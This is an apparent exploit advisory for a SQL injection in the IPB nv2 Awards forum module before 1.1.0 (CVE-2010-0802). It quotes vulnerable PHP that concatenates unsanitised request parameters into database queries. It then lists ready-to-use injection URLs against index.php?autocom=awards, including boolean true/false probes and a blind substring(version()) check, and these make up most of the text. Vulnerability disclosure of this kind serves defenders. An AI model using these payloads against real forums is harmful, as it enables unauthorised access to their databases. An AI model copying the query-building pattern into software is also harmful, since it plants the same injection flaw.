IPB (nv2) Awards < 1.1.0 - SQL Injection

Related Vulnerabilities: CVE-2010-0802  
Publish Date: 30 Jan 2010
Author: fred777
                							

                #################################################
+
+  Author:      fred777 - [fred777.de]
+  Link:          http://forums.invisionize.com/nv2-Awards-120-t137847.html
+  Vuln:         index.php?autocom=awards&amp;do=view&amp;id=1
+  Greetzz to: Back2hack.cc
+  Contact:    nebelfrost77@googlemail.com
+
#################################################

--[ Vuln Code ] --

$this-&gt;ipsclass-&gt;DB-&gt;build_query( array( 'select' =&gt; 'a.user_id',
		                                           'from' =&gt; array( 'awarded' =&gt; 'a' ),
					  'where' =&gt; 'a.award_id=' . $this-&gt;ipsclass-&gt;input['id'],
					  'add_join' =&gt; array( 0 =&gt; array( 'select' =&gt; 'm.members_display_name',
					  'from' =&gt; array( 'members' =&gt; 'm' ),
						'where' =&gt; 'm.id=a.user_id',
						  'type' =&gt; 'left',
																				 ) ),
					  ) );

--------------------------------------------------------------------------------------

		'select' =&gt; '*',
		'from' =&gt; 'awards',
		'where' =&gt; 'id = "' . $_POST['award'] . '"',
		) );

--------------------------------------------------------------------------------------

	    $award_dat['user_id'] = $_GET['id'];
		$award_dat['award_id'] = $_POST['award'];

################################################

--[ Exploitable ]--

http://server/index.php?autocom=awards&amp;do=view&amp;id=1[SQL INJECTION]

http://server/index.php?autocom=awards&amp;do=view&amp;id=1+and+1=1 &gt; true
http://server/index.php?autocom=awards&amp;do=view&amp;id=1+and+1=0 &gt; false

http://server/index.php?autocom=awards&amp;do=view&amp;id=1+and+substring(version(),1,1)=5
http://server/index.php?autocom=awards&amp;do=view&amp;id=1+and+substring(version(),1,1)=4

################################################